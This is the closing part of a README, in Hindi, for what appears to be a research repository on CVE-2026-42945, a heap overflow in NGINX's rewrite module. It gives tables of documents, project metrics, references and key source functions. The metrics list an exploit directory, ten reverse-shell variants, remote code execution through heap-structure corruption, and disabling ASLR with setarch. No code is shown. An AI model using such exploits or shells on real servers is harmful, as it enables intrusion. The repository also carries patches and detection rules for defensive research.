docs/timeline.md | 2008 में बग परिचय से लेकर 2026 में फिक्स तक पूर्ण प्रकटीकरण समयरेखा |
docs/operational-guidance.md | घटना प्रतिक्रिया, फोरेंसिक, IOC संग्रह, आपातकालीन शमन |
docs/case-study.md | किल-चेन विश्लेषण के साथ वास्तविक दुनिया के हमले के परिदृश्य का अनुकरण |
docs/presentation-slides.md | वक्ता नोट्स के साथ सम्मेलन/मीटअप प्रस्तुति |
| Metric | Value |
|---|---|
| कुल फ़ाइलें | 80+ |
| निर्देशिकाएँ | 13 (docker, exploit, shell, patches, configs, detection, fuzz, test, docs, tools, pipelines, .github/workflows, configs/advanced) |
| Python स्क्रिप्ट्स | 22 (exploit, detection, tools, shell, test) |
| Shell स्क्रिप्ट्स | 15 (detection, tools, shell, test, pipelines) |
| पैच | 5 (1 फिक्स + 1 हार्डनिंग + 3 बैकपोर्ट) |
| WAF नियम सेट | 3 (ModSecurity, Suricata, Falco) |
| CI कॉन्फ़िग | 1 (GitHub Actions — केवल CI) |
| दस्तावेज़ीकरण | 9 विस्तृत तकनीकी दस्तावेज़ |
| Config नमूने | 7 (4 असुरक्षित, 2 सुरक्षित, 1 नामित कैप्चर + 3 उन्नत) |
| कमिट लॉग | 1003+ अलग-अलग कमिट |
| शेल प्रकार | 10 (bash, python, nc, perl, ruby, php, socat, telnet, openssl, powershell) |
| Fuzz हार्नेस | 1 (libFuzzer, ~200 लाइनें C) |
| परीक्षण मामले | 8 यूनिट परीक्षण + शेल रनर |
| शामिल NGINX संस्करण | 20 रिग्रेशन मैट्रिक्स में |
| जीवनचक्र | 18 वर्ष (2008–2026) |
| Reference | URL |
|---|---|
| NVD प्रविष्टि | https://nvd.nist.gov/vuln/detail/CVE-2026-42945 |
| फिक्स कमिट | https://github.com/nginx/nginx/commit/524977e7c534e87e5b55739fa74601c9f1102686 |
| F5 सलाह | https://my.f5.com/manage/s/article/K000161019 |
| NGINX परिवर्तन सूची | https://nginx.org/en/CHANGES |
| Resource | Description |
|---|---|
ngx_http_script.c | NGINX के रीराइट मॉड्यूल में बगी स्रोत फ़ाइल |
ngx_pool_cleanup_t | RCE के लिए भ्रष्ट किया गया हीप संरचना |
ngx_escape_uri() | विस्तार फ़ंक्शन जो ओवरफ़्लो का कारण बनता है |
setarch(8) | नियतात्मक शोषण पतों के लिए ASLR को अक्षम करने का Linux उपकरण |
यह परियोजना शैक्षिक और रक्षात्मक सुरक्षा अनुसंधान उद्देश्यों के लिए है। भेद्यता का जिम्मेदारीपूर्वक खुलासा किया गया है और NGINX अनुरक्षकों द्वारा इसे पैच किया गया है।